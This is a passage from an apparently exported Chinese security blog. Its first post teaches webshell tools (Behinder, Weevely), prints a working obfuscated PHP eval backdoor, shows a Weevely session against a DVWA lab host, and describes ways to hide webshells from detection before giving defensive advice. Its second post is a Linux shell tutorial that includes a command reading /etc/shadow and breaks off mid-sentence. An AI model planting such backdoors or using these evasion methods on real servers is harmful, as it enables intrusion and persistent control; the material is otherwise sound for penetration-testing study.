选择数据库类型后,在连接字符串处修改账户密码,然后点击”连接”按钮,连接成功后即可执行语句 随后直接点击左侧图标即可图形化操作 自定义代码冰蝎提供asp、c#、php、Java的自定义代码执行功能,文本框支持语法高亮,c#和Java会把输入的源代码自动编译并执行. 备忘录备忘录模块提供对当前Shell的一些临时文本信息进行存储.直接输入内容即可,冰蝎会自动保存. 注入内存马冰蝎采用基于Agent技术的Java内存马注入功能,目前支持Tomcat、Weblogic、Jboss.其中Tomcat和Jboss对内存马注入路径没有任何限制. Weblogic的内存马注入路径需要在真实存在的应用名称的路径下,比如http://xxx.com:7001/console/memShell,Console即为应用名称不能直接注入到http://xxx.com:7001/memShell 另外,冰蝎还提供了内存马防检测功能,该功能会阻止其他Agent注入进当前JVM进程.当然注入内存马的时候如果开启该功能,冰蝎后续也无法再次注入内存马 代理冰蝎提供Sosks5和HTTP代理,反弹Shell时利用的就是内置代理功能 Weevely Weevely是一款开源的WebShell工具,用Python编写,可以在Linux系统上使用.它提供了一种方便的方式来生成和连接WebShell,并以客户端/服务器(C/S)模式构建.Weevely具有很强的隐蔽性,可以用作替代PHP菜刀的工具. Weevely具有多种功能,包括服务器错误配置审计、后门放置、暴力破解、文件管理、资源搜索、网络代理、命令执行、数据库操作、系统信息收集和端口扫描等.这些功能使它成为一个强大的渗透测试工具,可以用于评估和检测Web应用程序的安全性. 简单使用123456789101112131415161718192021222324252627┌──(root㉿kill3r)-[/home/kill3r]└─# weevely [+] weevely 4.0.1[!] Error: the following arguments are required: url, password[+] Run terminal or command on the target weevely <URL> <password> [cmd][+] Recover an existing session weevely session <path> [cmd][+] Generate new agent weevely generate <password> <path> ┌──(root㉿kill3r)-[/home/kill3r]└─# weevely -husage: weevely [-h] {terminal,session,generate} ...positional arguments: {terminal,session,generate} terminal Run terminal or command on the target session Recover an existing session generate Generate new agentoptions: -h, --help show this help message and exit 123456789101112131415161718┌──(root㉿kill3r)-[/home/kill3r]└─# weevely generate kill3r eval.phpGenerated 'eval.php' with password 'kill3r' of 771 byte size. ┌──(root㉿kill3r)-[/home/kill3r]└─# cat eval.php <?php$p='$kk"k"="8713ak"bbek""k";$kh="4c1df24e1k"6a8";$kfk"="9f449eb431ffk"";$p="9k"k"dvzq8pk';$Q='o="";for($i=k"0;$i<$lk";)k"{for($j=0;($j<$c&k"&$i<k"$l);k"$j++,$i+k"+){$o.=$k"t{$i}k"^';$m='k"(@x(@basek"64_decodk"e(k"$m[1]),$k))k");$o=@ob_gk"et_contk"entk"s();@k"ob_end_k"clea';$L='UtsMk"tw2M"k";functik"on k"x($t,$k)k"{$c=k"strlen($k"k);$l=k"k"strlen($t);k"k"$k"';$G='n();k"$r=@bk"ase6k"4_encodek"(@x(@gzk"compresk"s($o),$kk"))k";printk"("$p$khk"$r$kf");}';$l='$k{k"$jk"};}}k"k"return $o;}k"if k"(@preg_match("/$khk"(.+k"k")$kf/"k",@file_getk"k"_cont';$U=str_replace('kJ','','crekJakJkJkJte_funckJkJtion');$x='ents("php:k"//ink"put")k"k",$m)==1) {@ob_stark"k"t()k"k";@evk"al(@gzuncomk"press';$Y=str_replace('k"','',$p.$L.$Q.$l.$x.$m.$G);$t=$U('',$Y);$t();?> 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081┌──(root㉿kill3r)-[/home/kill3r]└─# weevely http://192.168.64.245/dvwa/hackable/uploads/eval.php kill3r [+] weevely 4.0.1[+] Target: 192.168.64.245[+] Session: /root/.weevely/sessions/192.168.64.245/eval_0.session[+] Browse the filesystem or execute commands starts the connection[+] to the target. Type :help for more information.weevely> :help :system_procs List running processes. :system_extensions Collect PHP and webserver extension list. :system_info Collect system information. :backdoor_tcp Spawn a Shell on a TCP port. :backdoor_reversetcp Execute a reverse TCP Shell. :net_scan TCP Port scan. :net_curl Perform a curl-like HTTP request. :net_proxy Run local proxy to pivot HTTP/HTTPS browsing through the target. :net_phpproxy Install PHP proxy on the target. :net_ifconfig Get network interfaces addresses. :net_mail Send mail. :file_tar Compress or expand tar archives. :file_bzip2 Compress or expand bzip2 files. :file_download Download file from remote filesystem. :file_upload2web Upload file automatically to a web folder and get corresponding URL. :file_touch Change file timestamp. :file_upload Upload file to remote filesystem. :file_find Find files with given names and attributes. :file_ls List directory content. :file_read Read remote file from the remote filesystem. :file_cp Copy single file. :file_mount Mount remote filesystem using HTTPfs. :file_check Get attributes and permissions of a file. :file_gzip Compress or expand gzip files. :file_grep Print lines matching a pattern in multiple files. :file_zip Compress or expand zip files. :file_rm Remove remote file. :file_webdownload Download an URL. :file_clearlog Remove string from a file. :file_edit Edit remote file on a local editor. :file_cd Change current working directory. :file_enum Check existence and permissions of a list of paths. :Shell_php Execute PHP commands. :Shell_sh Execute Shell commands. :Shell_su Execute commands with su. :audit_suidsgid Find files with SUID or SGID flags. :audit_phpconf Audit PHP configuration. :audit_disablefunctionbypass Bypass disable_function restrictions with mod_cgi and .htaccess. :audit_etcpasswd Read /etc/passwd with different techniques. :audit_filesystem Audit the file system for weak permissions. :sql_dump Multi dbms mysqldump replacement. :sql_console Execute SQL query or run console. :bruteforce_sql Bruteforce SQL database. The system Shell interpreter is not available in this session, use thefollowing command replacements to simulate a unrestricted Shell. ps system_procs whoami, hostname, pwd, uname system_info nmap net_scan curl net_curl ifconfig net_ifconfig mail net_mail tar file_tar bzip2, bunzip2 file_bzip2 touch file_touch find file_find ls, dir file_ls cat file_read cp, copy file_cp gzip, gunzip file_gzip grep file_grep zip, unzip file_zip rm file_rm wget file_webdownload vi, vim, emacs, nano, pico, gedit, kwrite file_edit cd file_cd ifconfig Shell_su 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667:system_procs 列出正在运行的进程.:system_extensions 收集PHP和Web服务器扩展列表.:system_info 收集系统信息.:backdoor_tcp 在TCP端口上生成一个Shell.:backdoor_reversetcp 执行反向TCP Shell.:net_scan TCP端口扫描.:net_curl 执行类似于curl的HTTP请求.:net_proxy 运行本地代理,将HTTP/HTTPS浏览器请求通过目标主机进行中继.:net_phpproxy 在目标主机上安装PHP代理.:net_ifconfig 获取网络接口地址.:net_mail 发送邮件.:file_tar 压缩或解压tar归档文件.:file_bzip2 压缩或解压bzip2文件.:file_download 从远程文件系统下载文件.:file_upload2web 自动将文件上传到Web目录并获取相应的URL.:file_touch 更改文件时间戳.:file_upload 将文件上传到远程文件系统.:file_find 查找具有给定名称和属性的文件.:file_ls 列出目录内容.:file_read 从远程文件系统读取远程文件.:file_cp 复制单个文件.:file_mount 使用HTTPfs挂载远程文件系统.:file_check 获取文件的属性和权限.:file_gzip 压缩或解压gzip文件.:file_grep 在多个文件中打印与模式匹配的行.:file_zip 压缩或解压zip文件.:file_rm 删除远程文件.:file_webdownload 下载URL.:file_clearlog 从文件中删除字符串.:file_edit 在本地编辑器上编辑远程文件.:file_cd 更改当前工作目录.:file_enum 检查路径列表中的存在和权限.:Shell_php 执行PHP命令.:Shell_sh 执行Shell命令.:Shell_su 以su方式执行命令.:audit_suidsgid 查找具有SUID或SGID标志的文件.:audit_phpconf 审计PHP配置.:audit_disablefunctionbypass 使用mod_cgi和.htaccess绕过disable_function限制.:audit_etcpasswd 使用不同的技术读取/etc/passwd.:audit_filesystem 对弱权限进行文件系统审计.:sql_dump 多个dbms mysqldump替代.:sql_console 执行SQL查询或运行控制台.:bruteforce_sql 暴力破解SQL数据库.在此会话中,系统Shell解释器不可用,请使用以下命令替代来模拟无限制的Shell使用.ps system_procswhoami, hostname, pwd, uname system_infonmap net_scancurl net_curlifconfig net_ifconfigmail net_mailtar file_tarbzip2, bunzip2 file_bzip2touch file_touchfind file_findls, dir file_lscat file_readcp, copy file_cpgzip, gunzip file_gzipgrep file_grepzip, unzip file_ziprm file_rmwget file_webdownloadvi, vim, emacs, nano, pico, gedit, kwrite file_editcd file_cdifconfig shell_su 1234567891011121314151617181920212223weevely> :system_info+--------------------+------------------------------------------------------------------------------+| document_root | D:/phpstudy_pro/WWW || whoami | || hostname | DESKTOP-B6O1S2Q || pwd | D:\\phpstudy_pro\\WWW\\dvwa\\hackable\\uploads || open_basedir | || safe_mode | False || script | /dvwa/hackable/uploads/eval.php || script_folder | D:\\phpstudy_pro\\WWW\\dvwa\\hackable\\uploads || uname | Windows NT DESKTOP-B6O1S2Q 6.2 build 9200 (Windows 8 Business Edition) AMD64 || os | Windows NT || client_ip | 192.168.64.215 || max_execution_time | 300 || php_self | /dvwa/hackable/uploads/eval.php || dir_sep | \\ || php_version | 5.5.9 |+--------------------+------------------------------------------------------------------------------+DESKTOP-B6O1S2Q:D:\\phpstudy_pro\\WWW\\dvwa\\hackable\\uploads $ file_ls...dvwa_email.pngeval.php WebShells1234567891011121314151617181920212223242526272829303132333435363738394041┌──(root㉿kill3r)-[/usr/share/webshells]└─# webshells > webshells ~ Collection of webshells/usr/share/WebShells├── asp├── aspx├── cfm├── jsp├── laudanum -> /usr/share/laudanum├── perl└── php┌──(root㉿kill3r)-[/usr/share/webshells]└─# tree /usr/share/webshells/usr/share/webshells├── asp│ ├── cmd-asp-5.1.asp│ └── cmdasp.asp├── aspx│ └── cmdasp.aspx├── cfm│ └── cfexec.cfm├── jsp│ ├── cmdjsp.jsp│ └── jsp-reverse.jsp├── laudanum -> /usr/share/laudanum├── perl│ ├── perlcmd.cgi│ └── perl-reverse-shell.pl└── php ├── findsocket │ ├── findsock.c │ └── php-findsock-shell.php ├── php-backdoor.php ├── php-reverse-shell.php ├── qsd-php-backdoor.php └── simple-backdoor.php9 directories, 14 files WebShell隐藏 隐藏到日志: 修改发送数据包的头部,添加WebShell.Web服务器通常会保存访问记录到Web日志中.如果攻击者能够找到并将Web日志放置在可执行目录下,可能会获得对服务器的控制权. 隐藏到合法文件: 在文件上传漏洞中,将含有PHP代码的文件伪装成.jpg文件.可以使用@运算符来避免出现任何错误,以增加伪装的成功率. 混淆: 删除空格、换行符等字符,使代码文件看起来比较混乱,从而隐藏恶意函数名等关键信息. 使用编码或加密技术对恶意代码进行处理,使其更难以被人识别和分析. 站马分离: 文件分割:将恶意代码分割成多个文件,使其在文件系统中分散存储.这样做可以避免一次性检测和删除所有相关文件,增加了防御的复杂性. 数据注入:将恶意代码注入到合法文件或数据中,比如图片、文档或数据库中.这样做可以使恶意代码混杂在正常的数据中,降低被检测的概率. 加密/压缩:使用加密算法或压缩技术对恶意代码进行处理,使其变得无法读取或分析.攻击者可以使用自定义的解密或解压缩过程来还原恶意代码,使其在被执行前难以被检测. 动态加载:将恶意代码以库、插件或模块的形式动态加载到受害系统中.这种技术使恶意代码不会一直存在于磁盘上,减少了被杀软件扫描和检测的可能性. 内存马: 它不像传统的Web Shell一样将恶意代码写入磁盘文件中,而是将代码直接加载到服务器的内存中运行。 检测与防御 文件完整性监测:定期检查服务器和Web应用程序文件的完整性,比较当前文件与原始文件的散列值或签名.如果发现任何未经授权的更改或添加的文件,可能是恶意WebShell的迹象. 强密码策略:确保使用强密码来保护服务器和Web应用程序的账户.强密码应该包含足够长度、大小写字母、数字和特殊字符的组合,并且定期更换密码. 文件上传过滤:在Web应用程序中实施严格的文件上传过滤机制,验证上传的文件类型和内容.限制允许上传的文件扩展名,并进行文件内容的检查,以避免上传恶意WebShell文件. 输入验证和过滤:对Web应用程序的用户输入进行严格的验证和过滤,以防止任意文件上传等攻击.移除或转义用户输入中的特殊字符和命令注入漏洞,以减少WebShell风险. 实时日志监控和分析:监控Web服务器日志和应用程序日志,检查异常的请求、访问行为和错误信息.建立实时告警系统,以便及时检测和响应WebShell攻击. 安全软件和防火墙:使用安全软件和防火墙来阻止对Web服务器的未经授权访问和攻击.这些工具可以检测并阻止恶意代码的执行,同时提供实时的入侵检测和防御功能. 定期安全审计:定期对服务器和Web应用程序进行安全审计,包括代码审查、漏洞扫描和渗透测试等.这有助于及时发现和修复潜在的WebShell漏洞.","tags":["信息安全","Shell","渗透测试"]},{"title":"Linux-Shell编程从0到1","path":"/2024/02/18/693474ed/","content":"总字符数: 56.14K 代码: 42.29K, 文本: 7.16K 预计阅读时间: 3.58 小时 Shell基础Shell的简介Shell的本意是“壳”的意思,其实已经很形象地说明了shell在Linux系统中的作用。Shell就是围绕在Linux内核之外的一个“壳”程序,用户在操作系统上完成的所有任务都是通过shell与Linux系统内核的交互来实现的 。 所以也可以认为Shell是用户和Linux操作系统之间的接口。Linux中有多种shell,其中缺省使用的是bash 。 Shell最重要的功能是命令解释,从这种意义上说,Shell是一个命令解释器。Linux系统中的所有可执行文件都可以作为Shell命令来执行。Linux系统上可执行文件的分类见下表。 description:Shell是如何完成命令解释的 当用户提交了一个命令后,Shell首先判断它是否为内置命令. 如果是就通过Shell内部的解释器将其解释为系统功能调用并转交给内核执行; 若是外部命令或实用程序就试图在硬盘中查找该命令并将其调入内存,再将其解释为系统功能调用并转交给内核执行。 用户登录系统后,如果登录字符界面,将出现shell命令提示符。 “#”表示登录的用户是系统超级用户 “$”表示登录到系统的是普通用户 ​ Shell还是强大的解释行程序设计语言,它定义了各种选项和变量,几乎支持高级程序语言的所有结构,如变量、函数、表达式和循环等。 ​ 利用shell可以编写shell脚本程序,类似于Windows/DOS下的批处理文件,但是shell功能更加完善,更加强大。 归纳​ Shell是一个命令行解释器,它为用户提供了一个向Linux内核发送请求以便运行程序的界面系统级程序,用户可以用Shell来启动、挂起、停止甚至是编写一些程序。 ​ Shell还是一个功能相当强大的编程语言,易编写,易调试,灵活性较强。Shell是解释执行的脚本语言,在Shell中可以直接调用Linux系统命令。 ​ Bash是作为用户的基本Shell(默认)。 命令学习echo输出命令echo [选项] [输出内容]选项:-e\t支持反斜线控制的字符转换 echo中间有空格需要加双引号,没有的话可以直接写,!在Linux中有特殊作用,如果非要加使用单引号 1234echo 123456echo 'hello'echo "hello world"echo 'hello world!' 控制字符 控制字符 作用 \\ 输出\\本身 \\a 输出警告音 \\b 退格键,也就是向左删除键 \\c 取消输出行末的换行符。和“-n”选项一致 \\e ESCAPE键 \\f 换页符 换行符 \\r 回车键 \\t 制表符,也就是tab键 \\v 垂直制表符 \\0nnn 按照八进制ASCII码表输出字符。其中0为数字0,nnn为三位八进制数 \\xhh 按照十六进制ASCII码表输出字符。其中hh是两位十六进制数 123456789101112131415161718192021echo -e "ab\\bc"# -e 使能解释转义字符。# ab\\bc 中的 \\b 是一个退格符,它删除紧接在其前面的一个字符。# 输出结果为 ac,因为 \\b 删除了 b 左侧的 a。echo -e "a\\tb\\tc d\\te\\tf"# \\t 表示一个制表符,用来在文本中添加水平空格。# 表示换行符,用来开始一个新行。# 输出结果是两行:第一行包含 a, b, c,每两个字符之间由制表符分隔;第二行包含 d, e, f,同样以制表符分隔。echo -e "\\x61\\t\\x62\\t\\x63 \\x64\\t\\x65\\t\\x66"# \\xHH 允许使用十六进制值 (HH) 来表示字符,其中 \\x61 是 a,\\x62 是 b,以此类推。# 输出结果与前一个例子相同:两行 a b c 和 d e f,每对字符之间由制表符分隔。echo -e "\\e[1;31m abcd\\e[0m"# \\e[1;31m 是一个ANSI转义序列,用于设置文本颜色。这里,\\e[1;31m 设置文本为高亮显示的红色。# \\e[0m 用于重置文本格式,让之后的文本恢复默认格式。# 输出结果是 abcd 以高亮的红色文本显示。 date时间命令这个命令在shell脚本中使用很频繁,最常见的几个用法如下: date +%Y :表示以四位数字格式打印年份 date +%y :表示以两位数字格式打印年份 date +%m :表示月份 date +%d :表示日期 date +%H :表示小时 date +%M :表示分钟 date +%S :表示秒 date +%w :表示星期,0~6,0表示星期天 参数说明 -d datestr : 显示 datestr 中所设定的时间 (非系统时间) –help : 显示辅助讯息 -s datestr : 将系统时间设为 datestr 中所设定的时间 -u : 显示目前的格林威治时间 –version : 显示版本编号 12345678[root@localhost ~]# date +"%Y-%m-%d %H:%M:%S"2022-05-09 12:48:29[root@localhost ~]# date -d "-1 day" +%d # -d设定时间,-1 day 表示当前 日期前一天,可以以此类推08[root@localhost ~]# date -d "-1 hour" +%H #-1 hour 表示当前时间前1小时 可以以此类推11[root@localhost ~]# date -d "-1 min" +%M #-1 min 表示当前时间前1分钟可 以以此类推57 脚本执行方式Shell脚本通常都以.sh作为后缀名,不是说不加.sh的脚本不能运行,只是大家的习惯,这样也方便辨识。 创建脚本1234567# 不是注释,是一个标志,标称写的内容为Bash,Shell脚本#!/bin/bash#The first program #一定要写完整的注释#Author:kali #一定要有良好的注释dateecho -e "Hello World!"echo -e '\\e[1;31mHello World!\\e[0m' 上面,第一行以 #!/bin/bash 开头,表示该文件使用的是bash语法,不设置该行也可以执行,但不符合规范。 #表示注释,后面跟一些该脚本的相关注释内容,以及作者、创建日期或版本等。 注释可以省略,但不建议省略,因为我们的记忆力有限,没有注释我们自己都不知自己写的脚本是用来干什么的、是什么时候写的。建议从一开始就要养成写脚本的良好习惯,方便自己也方便他人。 执行脚本123456789#赋予执行权限chmod 755 first.shchmod +x first.sh#然后可以通过sh执行first.sh#使用sh脚本命令执行脚本时,可以加 –x 选项来查看脚本的执行过程sh first.shsh -x first.shbash first.sh./ first.sh Shell基本功能Shell 元字符在Shell中有一些具有特殊的意义字符,称为 Shell元字符(shell metacharacters)。若不以特殊方式指明,Shell并不会把它们当做普通文字符使用。 下表简单介绍了常用的Shell元字符的意义: 历史命令和命令补全123456[root@localhost ~]#history [选项] [历史命令保存文件]选项: -c: 清空历史命令 -w: 把缓存中的历史命令写入历史命令保存文件 ~/.bash_history #历史命令保存器 历史命令默认会保存1000条可以在环境变量配置文件/etc/profile中进行修改 历史命令的调用 使用上、下箭头调用以前的历史命令 使用!n重复执行第n条历史命令 使用!!重复执行上一条命令 使用!字串重复执行最后一条以该字串开头的命令 命令和文件补全在Bash中,命令与文件补全是非常方便与常用的功能,我们只要在输入命令或文件时,按Tab键就会自动进行补全 命令别名与常用快捷键12[root@localhost ~]#alias 别名='原命令' #设定命令别名[root@localhost ~]#alias #查询命令别名 让别名永久有效1[root@localhost ~]#vi /root/.bashrc 删除别名1[root@localhost ~]#unalias 别名 命令执行时顺序 第一顺位执行用绝对路径或相对路径执行的命令 第二顺位执行别名 第三顺位执行Bash的内部命令 第四顺位执行按照$PATH环境变量定义的目录查找顺序找到的第一个命令 多命令顺序执行 多命令执行符 格式 作用 ; 命令1;命令2 多个命令顺序执行,命令之间没有任何逻辑联系 && 命令1&&命令2 逻辑与 当命令1正确执行,则命令2才会执行 当命令1执行不正确,则命令2不会执行 ` ` 1[root@localhost ~]#ls /root;ls /root/kali 12345678910111213#dd命令是Linux磁盘复制或数据复制,能复制特殊命令,特殊文件,也能复制分区,甚至整个硬盘,可以当做磁盘对拷对待[root@localhost ~]#dd if=输入文件 of=输出文件 bs=字节数 count=个数选项: if=输入文件 指定源文件或源设备 of=输出文件 指定目标文件或目标设备 bs=字节数 指定一次输入/输出多少字节,即把这些字节看做一个数据块 count=个数 指定输入/输出多少个数据块[root@localhost ~]# date;dd if=/dev/zero of=/root/testfile bs=1k count=100000;date #创建100mb文件需要多长时间[root@localhost ~]# ls && echo yes #第一条命令可以执行,输出yes[root@localhost ~]# ls gdafa && echo yes #第一条命令出现错误,就不会输出[root@localhost ~]# ls || echo no #当执行第一条命令,就不会输出[root@localhost ~]# ls /kali && echo yes || echo no #当ls执行报错,第2个命令不执行,执行no[root@localhost ~]# ls ./kali && echo yes || echo no #当ls执行第2个命令,不执行no Bash常用快捷键 Shell的重定向Linux下系统打开3个文件,即标准输入、标准输出和标准错误输出。 用户的shell将键盘设为默认的标准输入,默认的标准输出和标准错误输出为屏幕。 也就是,用户从键盘输入命令,然后将结果和错误消息输出到屏幕。 所谓的重定向,就是不使用系统默认的标准输入/输出,而是重新指定,因此重定向分为输入重定向、输出重定向和错误输出重定向要实现重定向就需要了解重定向操作符,shell就是根据重定向操作符来决定重定向操作的。 输入重定向12345[root@localhost ~]#wc [选项] [文件名]选项: -c 统计字节数 -w 统计单词数 -l 统计行数 输入重定向用于改变命令的输入源,利用输入重定向,就可以将一个文件的内容作为命令的输入,而不从键盘输入。(CTRL+D) 用于输入重定向的操作符有<和<<。例如: 12[root@localhost ~]#wc </etc/shadow#这里用wc命令统计输入给它的文件/etc/inittab的行数、单词数和字符数。 输出重定向输出重定向不是将命令的输出结果在屏幕上输出,而是输出到一个指定文件中。 在Linux下输出重定向用得很多。例如,某个命令的输出很长,一个屏幕无法显示完毕,这时可以将命令的输出指定到一个文件,然后用more命令查看这个文件,从而得到命令输出的完整信息。 类型 符号 作用 标准输出重定向 命令 >文件 命令 >>文件 以覆盖的方式,把命令的正确输出输出到指定的文件或设备当中 以追加的方式,把命令的正确输出输出到指定的文件或设备当中 标准错误输出重定向 错误命令 2>文件 错误命令 2>>文件 以覆盖的方式,把命令的错误输出输出到指定的文件或设备当中 以追加的方式,把命令的错误输出输出到指定的文件或设备当中 用于输出重定向的操作符有>和>>。例如: 1234567ps -ef >ps.txt#这条命令将ps -ef输出的系统运行进程信息全部输入到了ps.txt文件,而不是输出到屏幕,可以用more命令查看ps.txt文件中系统运行的进程信息。more file1 file2 file3 >file#其中,more命令用于查看文件的内容,上面的命令是将file1/file2/file3的内容全部输出到file文件中,类似于文件内容的合并。如果在“>”后面指定的文件不存在,shell就会自动重建一个;如果文件存在,那么这个文件原有的内容将被覆盖;如果不想覆盖存在的文件,可以使用“>>”操作符。例如ls -al /etc/* >>/root/install.log#这条命令 w将/etc目录及其子目录下的所有文件信息追加到/root/install.log文件的后面,/root/install.log文件原来的内容仍然存在。 错误重定向实际工作中,正确输出和错误输出同时保存 错误重定向和标准输出重定向一样,可以使用操作符2>和2>>实现对错误输出的重定向 命令 > 文件 2>&1 以覆盖的方式,把正确输出和错误输出都保存到同一个文件当中 命令 >> 文件 2>&1 以追加的方式,把正确输出和错误输出都保存到同一个文件当中 命令 &>文件 以覆盖的方式,把正确输出和错误输出都保存到同一个文件当中 命令 &>>文件 以追加的方式,把正确输出和错误输出都保存到同一个文件当中 命令 >>文件1 2>>文件2 把正确的输出追加到文件1中,把错误的输出追加到文件2中 123[root@localhost ~]# tar zxvf text.tar.gz 2>error.txt#其中,tar是打包命令,可以在屏幕上看到tar的解压过程。如果“text.tar.gz”是个损坏的压缩包,就会把错误信息输出到error.txt文件。[root@localhost ~]# ls &>/dev/null #不保存任何错误,执行就行 Shell的管道管道可以把很多命令连接起来,可以把第1个命令的输出当作第2个命令的输入,第2个命令的输出当作第3个命令的输入,依次类推。因此,管道的作用就是把一个命令的输出当作下一个命令的输入,而不经过任何中间文件。 通过管道符“|”可以建立管道连接 示例12345[root@localhost ~]# ls -al /etc/* |more#这条命令表示将/etc目录以及子目录下的所有文件分屏显示。[root@localhost ~]# ps -ef| grep httpd|wc -l#这个命令用户查看系统中正在运行的httpd进程,并统计httpd的进程数。[root@localhost ~]# pstree|grep bash Shell的通配符通配符主要是为了方便用户对文件或目录的描述,例如,当用户仅仅需要以.sh结尾的文件时,使用通配符就能很方便地实现。各个版本的shell都有通配符,这些通配符是一些特殊字符,用户可以在命令行的参数中使用这些字符,进行文件或者路径名的匹配。Shell将把与命令行中指定的匹配规则符合的所有文件名或者路径作为命令的参数,然后执行这个命令。 Bash中常用的通配符有* ? [] *匹配任意一个或多个字符 12345678[root@localhost ~]# ls *.txt# 这条命令列出当前目录中所有以“.txt”结尾的文件(除去以“.”开头的文件)。[root@localhost ~]# cp doc/* /opt# 这条命令表示将doc目录下的所有文件(除去以“.”开头的文件)复制到/opt目录下。[root@localhost ~]# ls -al /etc/*/*.conf# 这条命令列出/etc目录的子目录下所有以“.conf”结尾的文件。在/etc目录下以“.conf”结尾的文件不会列出 ?匹配任意单一字符 12345[root@localhost ~]# ls ab?.txt# 这条命令列出当前目录下以ab开头,随后一个字母是任意字符,接着以“.txt”结尾的文件。[root@localhost ~]# ls ab??.txt# 这条命令列出当前目录下以ab开头,随后两个字母是任意字符,接着以“.txt”结尾的文件。 []匹配任何包含在方括号内的单子符 [] 匹配中括号中任意一个字符。例如[abc]代表一定匹配一个字符,或者是a,或者是b,或者是c [-]\t匹配中括号中任意一个字符,-代表一个范围。例如:[a-z]代表匹配一个小写字母 [^] 逻辑非,表示匹配不是中括号内的一个字符。例如:[^0-9]代表匹配一个不是数字的字符 1234567[root@localhost ~]# ls /dev/sda[12345]/dev/sda1 /dev/sda2 /dev/sda3 /dev/sda4 /dev/sda5# 上面的命令列出了在/dev目录下以sda开头,第4个字符是1/2/3/4/5的所有文件。[root@localhost kali]# ls [Yy]*YASUO yasuser yasuser.bz2 yasuser.zip[root@localhost ~]# ls /dev/sda[1-5]# 在方括号“1-5”给出了匹配的范围,与上面一条命令完全等效。 通配符的组合使用 12345[root@localhost ~]# ls [0-9]?.conf# 这条命令列出当前目录下以数字开头,随后一个是任意字符,接着以“.conf”结尾的所有文件。[root@localhost ~]# ls [xyz]*.txt# 这条命令列出当前目录下以x/y/z开头,最后以“.txt”结尾的文件。 Shell中其他特殊符号在bash中有很多特殊字符,这些字符本身就具有特殊含义。如果在shell的参数中使用它们,就会出现问题。Linux中使用了“引用”技术来忽略这些字符的特殊含义,引用技术就是通知shell将这些特殊字符当作普通字符处理。Shell中用于引用的字符有转义字符\\、单引号''、双引号""。 转义字符 如果将\\放到特殊字符前面,shell就会忽略这些特殊字符的原有含义,把它们当作普通字符对待. 示例12345[root@localhost ~]# ls[root@localhost ~]# mv abc\\?\\* abc[root@localhost ~]# mv C\\:\\\\backup backup # C:\\backup# 上面是将abc?*重名名为abc,将C:\\backup重命名为backup。因为文件名中包含特殊字符,所以都使用了转义字符“\\”。 单引号如果将字符串放到一对单引号之间,那么字符串中所有字符的特殊含义将被忽略. 示例123[root@localhost ~]# mv C\\:\\\\backup backup[root@localhost ~]# mv 'C:\\backup' backup#上面两条命令完全等效。 双引号双引号的引用与单引号基本相同,包含在双引号内的大部分特殊字符可以当作普通字符处理,但是仍有一些特殊字符即使用双引号括起来,也仍然保留自己的特殊含义,比如$、\\,’ 1234567[root@localhost ~]# str="The \\$SHELL Current shell is $SHELL"[root@localhost ~]# str1="\\$$SHELL"[root@localhost ~]# echo $strThe $SHELL Current shell is /bin/bash[root@localhost ~]# echo $str1$/bin/bash# 从上面的输出可以看出,“$”和“\\”在双引号内仍然保留了特殊含义。 1234[root@localhost ~]# str="This hostname is 'hostname'"[root@localhost ~]# echo $strThis hostname is 'hostname'# 上面的输出中,字符“’”在双引号中也保留了自己的特殊含义。 123456789[root@localhost ~]# name=kali # 声明变量[root@localhost ~]# echo $name # 输出变量kali[root@localhost ~]# echo '$name' # 输出内容$name[root@localhost ~]# echo "$name" # 输出变量kali[root@localhost ~]# echo $(date) # 传输变量时间2021年 12月 24日 星期五 22:08:23 CS Bash变量什么是变量变量是计算机内存的单元,其中存放的值可以改变。当Shell脚本需要保存一些信息时,如一个文件名或是一个数字,就把它存放在一个变量中。每个变量有一个名字,所以很容易应用它。使用变量可以保存有用信息,使系统获知用户相关设置,变量也可以用于保存暂时信息。 变量设置规则 变量名称可以由字母、数字和下划线组成,但是不能以数字开头。如果变量名是2name则是错误的。 在Bash中,变量的默认类型都是字符型,如果要进行数值运算,则必须指定变量类型为数值型。 变量用等号连接值,等号左右两侧不能有空格。 变量的值如果有空格,需要使用单引号或双引号包括。 在变量的值中,可以使用\\转义符。 如果需要增加变量的值,那么可以进行变量值的叠加。不过变量需要用双引号包含$变量名或用${变量名}包含。 如果是把命令的结果作为变量值赋予变量,则需要使用反引号或$()包含命令。 环境变量名建议大写,便于区分。 变量分类 用户自定义变量(最常用的) 环境变量:这种变量中主要保存的是和系统操作环境相关的数据 位置参数变量:这种变量主要是用来向脚本当中传递参数或数据的,变量名不能自定义,变量作用是固定的 预定义变量:是Bash中已经定义好的变量,变量名不能自定义,变量作用也是固定的。 用户自定义变量(本地变量)12[root@localhost ~]# name="kali" # 变量定义,有空格用双引号或单引号括起来 变量叠加12345678[root@localhost ~]# aa=123# 变量叠加的一种方法[root@localhost ~]# aa="$aa"456 # 变量叠加的一种方法[root@localhost ~]# aa=${aa}789# 输出变量[root@localhost ~]# echo $aa123456789 变量调用在脚本中应用变量时需要加上符号$。 12# 调用变量 [root@localhost ~]# echo $name 变量查看123# 查看系统的所有变量[root@localhost ~]# set[root@localhost ~]# set | grep "name" 变量删除12# 删除变量 [root@localhost ~]# unset $aa 其他示例123456789101112131415161718192021222324252627282930313233343536# 写入下面的内容vim variable.sh #! /bin/bash## In this script we will user variable.## Writen by kali 2022-09-15d=`date +%H:%M:%S`echo "The script begin at $d."echo "NOW We'll sleep 5 seconds."sleep 5d1=`date +%H:%M:%S`echo "The script end at $d1."# 数字运算 # 写入下面内容vim sum.sh#! /bin/bash## For get the sum of two number.## Writen by kali 2022-09-15a=1b=2sum=$[$a+$b]echo "$a+$b=$sum"# 数字计算要用[]括起来,并且前面要加上符号$# 和用户交互vim read.sh#! /bin/bash## Using 'read' in shell script.## Writen by kali 2022-09-15read -p "Please input a number:" xread -p "Please input a number:" ysum=$[$x+$y]echo "the sum of two numbers is :$sum" 环境变量环境变量是什么用户自定义变量只在当前的Shell中生效,而环境变量会在当前Shell和这个Shell的所有子Shell当中生效。如果把环境变量写入相应的配置文件,那么这个环境变量就会在所有Shell中生效。 设置环境变量123export 变量名=变量值 # 申明全局变量env # 专门查询环境变量 重点看PATHunset 变量名 # 删除变量 1234567891011121314151617181920# 有一个概念需要了解父shell和子shell# 进入一个子shell[root@localhost ~]# bash# 查看树形结构进程,可以查看子shell[root@localhost ~]# pstree# 退出子shell[root@localhost ~]# exit# 本地变量[root@localhost ~]# name=kali# 全局变量[root@localhost ~]# export age=18# 本地变量[root@localhost ~]# sex=nan # 定义全局变量[root@localhost ~]# export sex# 查看变量[root@localhost ~]# set |grep sex# 进入子shell[root@localhost 